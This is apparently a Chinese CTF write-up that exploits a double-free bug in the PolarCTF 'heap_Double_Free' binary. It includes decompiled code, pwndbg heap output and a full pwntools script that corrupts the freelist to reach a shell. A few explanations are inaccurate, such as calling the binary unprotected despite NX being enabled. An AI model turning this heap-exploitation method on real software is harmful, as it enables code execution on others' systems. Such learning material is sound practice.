polarctf heap_Double_Free(double free漏洞)

前言

这道题是堆类型的一个题目,本来pwn就有点难,刚开始确实好难理解,也是理了很长时间

题目

源码如下:

int ID; // [sp+8h] [bp-78h]@2
  int size; // [sp+Ch] [bp-74h]@3
  char ptr[88]; // [sp+10h] [bp-70h]@1
  __int64 v9; // [sp+68h] [bp-18h]@1

  v9 = *MK_FP(__FS__, 40LL);
  init();
  globals1[0] = 0;
  globals1[2] = 113;
  v3 = 0LL;
  memset(ptr, 0, 0x50uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      Menu();
      printf("root@ubuntu:~/Desktop$ ", v3);
      v3 = &Choice;
      __isoc99_scanf("%d", &Choice);
      ID %= 10;
      if ( Choice != 1 )
        break;
      puts("please input id and size :");
      __isoc99_scanf("%d", &ID);
      v3 = &size;
      __isoc99_scanf("%d%*c", &size);
      v4 = ID;
      *(_QWORD *)&ptr[8 * v4] = malloc(size);
      puts("please input contet:");
      gets(*(_QWORD *)&ptr[8 * ID]);
    }
    if ( Choice == 2 )
    {
      puts("please input id :");
      v3 = &ID;
      __isoc99_scanf("%d", &ID);
      free(*(void **)&ptr[8 * ID]);
    }
    else if ( Choice == 3 )
    {
      puts("please input id :");
      v3 = &ID;
      __isoc99_scanf("%d", &ID);
      puts(*(const char **)&ptr[8 * ID]);
    }
    else
    {
      if ( globals1[4] != 257 )
      {
        printf("exit!", &Choice);
        exit(0);
      }
      puts("your are got it!");
      system("/bin/sh");
    }
  }
}

前置内容

double free

是指程序对同一个堆块(chunk)进行了多次释放。堆管理器(比如一些glic中的ptmalloc2)在释放堆块时,会将其放入空闲链表中(比如tcache,fastbins等)。如果同一个堆块被多次释放,堆内部数据结构就会被破坏,从而导致漏洞。

原理

  • 堆块的结构
    在glibc中,堆块结构如下:
struct malloc_chunk {
  size_t prev_size;  // 前一个堆块的大小(如果前一个堆块是空闲的)
  size_t size;       // 当前堆块的大小(包括元数据)
  struct malloc_chunk* fd;  // 指向下一个空闲堆块(用于空闲链表)
  struct malloc_chunk* bk;  // 指向上一个空闲堆块(用于空闲链表)
};
  • 释放堆块的流程
    当调用free(ptr)时,堆管理器会:
    1. 检查堆块是否合法
    2. 将堆块放入空闲链表(如tcahe或fastbins)
    3. 更新堆块的元数据(如fd和bk指针)
  • double free的影响
    如果一个堆被多次释放,堆管理器的空闲链表就会被破坏。
    就比如说:
    • 第一次释放:堆块被放入空闲链表
    • 第二次释放:堆块再次被放入空闲链表,导致链表出现循环
      这种破坏可以被利用,通过重新分配堆块来控制堆管理器的内部指针,从而任意地址改写

题目分析

先检查文件

Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

没有任何保护,是64位的,拉入64为的IDA进行分析
通过观察上面的代码,可以看出在这一块

 if ( Choice == 2 )
    {
      puts("please input id :");
      v3 = &ID;
      __isoc99_scanf("%d", &ID);
      free(*(void **)&ptr[8 * ID]);
    }

存在一个double free漏洞,代码没有检车ptr[8*ID]是否已经被释放过,如果用户多次输入相同的ID,会导致同一个内存被多次释放,从而出发double free错误
再看这一块代码

 if ( globals1[4] != 257 )
      {
        printf("exit!", &Choice);
        exit(0);
      }
      puts("your are got it!");
      system("/bin/sh");

可以看到,我们只要保证globals1[4]==257,对应十六进制是0x101,(将文件拖入IDA,可以看到globals1[4]对应地址是.bss段的0x00000000006010A0,)则可以直接运行system,获取权限
所以,可以总结为

  1. 构造double free
    释放同一个堆块多次,构造循环链表
  2. 重新分配堆块
    通过重新分配堆块,覆盖空闲链表中的指针
  3. 修改目标地址
    将目标地址(0x6010a0)写入堆管理器的内部结构,再将globals1[4]的值改为0x101
  4. 触发漏洞
    通过修改目标地址,触发漏洞

EXP

完整版exp如下,然后我一一演示一下

from pwn import *
io=process('./heap_Double_Free')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=remote('1.95.36.136', 2093)
elf=ELF('./heap_Double_Free')

def cmd(x):
    io.recvuntil(b"root@ubuntu:~/Desktop$ ")
    io.sendline(x.encode())

def molloc(id,size,content):
    io.recvuntil("root@ubuntu:~/Desktop$ ")
    io.sendline(b'1')
    io.recvuntil("please input id and size :")
    io.sendline(str(id))
    io.sendline(str(size))
    io.recvuntil("please input contet:")
    io.sendline(content)

def free(id):
    io.recvuntil(b"root@ubuntu:~/Desktop$ ")
    io.sendline(b'2')
    io.recvuntil(b"please input id :")
    io.sendline(str(id))

def puts(id):
    io.recvuntil(b"root@ubuntu:~/Desktop$ ")
    io.sendline(b"3")
    io.recvuntil(b"please input id :")
    io.sendline(str(id))

def get_shell():
    io.recvuntil(b"root@ubuntu:~/Desktop$ ")
    io.sendline(b"4")


molloc(0,0x68,b'a'*0x68)
molloc(1,0x68,b'a'*0x68)
molloc(2,0x68,b'a'*0x68)

#构造double_free
free(0)
free(1)
free(0) 

molloc(3,0x68,p64(0x6010a0))
molloc(4,0x68,p64(0x101))
molloc(5,0x68,p64(0x101))

molloc(6,0x68,p64(0x101))

#gdb.attach(io)
get_shell()

io.interactive()

其中封装的几个函数都是根据原来elf文件反汇编出来的c代码写出来的,这个无需多言,主要是下面的几个molloc和free容易搞混,请看VCR


分配堆块

molloc(0,0x68,b'a'*0x68)
molloc(1,0x68,b'a'*0x68)
molloc(2,0x68,b'a'*0x68)

分配3个大小为0x68的堆块(ID为0,1,2)这些堆块会被放入tcache或fastbins中
gdb调试后,可以看到堆信息如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x20fd290
Size: 0x1010 (with flag bits: 0x1011)

Allocated chunk | PREV_INUSE
Addr: 0x20fe2a0
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x20fe310
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x20fe380
Size: 0x70 (with flag bits: 0x71)

Top chunk
Addr: 0x20fe3f0
Size: 0x1fa00 (with flag bits: 0x1fa00)

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

先解释上面的heap部分

  1. 堆的起始部分:有一些较大的堆块(如0x20fd000和0x20fd290),可能是程序的初识堆分配或全局变量
  2. 分配的堆块:3个大小为0x68的堆块,地址分别是0x20fe2a0、0x20fe310、0x20fe380。每个堆块的大小为0x70(包括0x10的元数据),符合0x68的请求大小
  3. 顶部堆块(top chunk):地址为0x20fe3f0,用于未来的分配
    然后是下面bins的部分:所有的bins都是空的,因为这时候还没有释放任何堆块

构造double free

free(0)
free(1)

运行完这两句后,显示如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x23bc000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x23bc290
Size: 0x1010 (with flag bits: 0x1011)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x23bd2a0
Size: 0x70 (with flag bits: 0x71)
fd: 0x23bd

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x23bd310
Size: 0x70 (with flag bits: 0x71)
fd: 0x23bf10d

Allocated chunk | PREV_INUSE
Addr: 0x23bd380
Size: 0x70 (with flag bits: 0x71)

Top chunk
Addr: 0x23bd3f0
Size: 0x1fa00 (with flag bits: 0x1fa00)

pwndbg> bins
tcachebins
0x70 [  2]: 0x23bd320 —▸ 0x23bd2b0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

可以看到之前申请的三个堆块,其中前两个被释放,放入了tcache中,fd指针指向下一个空闲堆块,形成了空闲链表。在tcachebins中有两个空闲堆块,形成了空闲链表
接下来在执行

free(0)

之后,再次释放了堆0,堆0再次被放入到空闲链表,导致空闲链表出现循环
此时,空闲链表的状态如下:

tcache: [chunk0] -> [chunk1] -> [chunk0] -> ...

重新分配堆块

molloc(3, 0x68, p64(0x6010a0))
molloc(4, 0x68, p64(0x101))
molloc(5, 0x68, p64(0x101))
molloc(6, 0x68, p64(0x101))
  1. 第一次
    从空闲链表中取出chunk0,将chunk0的内容覆盖为0x6010a0(目标地址)
  2. 第二次
    从空闲链表中取出chunk1,将其内容覆盖为0x101(伪造的堆块元数据)
  3. 第三次…chunk0,…0x101
  4. 第四次…chunk1,…0x101
    通过以上方式,可以控制堆管理器的内部指针,从而实现任意地址写

总结

就这样,运行exp就可以获取权限了,总的来说,知识点就是double free漏洞的利用,但是由于对堆结构的不熟悉,在调试过程中遇到很多困难,加油~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值